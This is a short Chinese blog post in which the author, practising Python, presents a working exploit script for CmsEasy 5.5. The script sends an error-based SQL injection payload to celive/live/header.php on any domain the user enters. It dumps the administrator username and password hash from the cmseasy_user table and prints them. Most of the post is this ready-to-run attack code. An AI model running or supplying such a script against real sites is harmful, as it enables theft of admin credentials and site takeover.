最近在提高自己编程能力,拿一些实用的小工具练下。该脚本为python语言,主要涉及模块urllib,re。
功能:验证CmsEasy5.5爆账号密码
实验用源码:http://pan.baidu.com/s/1i4lAwBF
搭建环境:phpstudy 试了IIs+php没爆出来最好用phpstudy。
通过浏览器访问确认存在漏洞存在。
用python来实现。
import urllib.request import urllib.parse import re domain = input('请输入域名或ip(example:www.xx.com/xxx.xxx.xx):') url = 'http://%s/cmseasy/celive/live/header.php' %(domain) data = { 'xajax':"LiveMessage", 'xajaxargs[0][name]':"1',(SELECT 1 FROM " "(select count(*),concat(floor(rand(0)*2)," "(select concat(username,0x23,password,md5(123)) " "from cmseasy_user where groupid=2 limit 1))a " "from information_schema.tables group by a)b)," "'','','','1','127.0.0.1','2')#" } data = urllib.parse.urlencode(data).encode('utf-8') #将要post的数据进行编码 try: req = urllib.request.Request(url,data) #get请求不需要写data参数,post需要把data参数写上 response = urllib.request.urlopen(req) html = response.read().decode('utf-8') if re.findall(r'a801fc3202cb962ac59075b964b07152',html): print("%s is vulnerable"%(url)) html2 = re.findall(r'(?<=entry \'1).*(?=a801fc3202cb962ac59075b964b07152)',html) #通过正则将账号密码匹配出来 print(html2) except Exception as err: print('Not Found')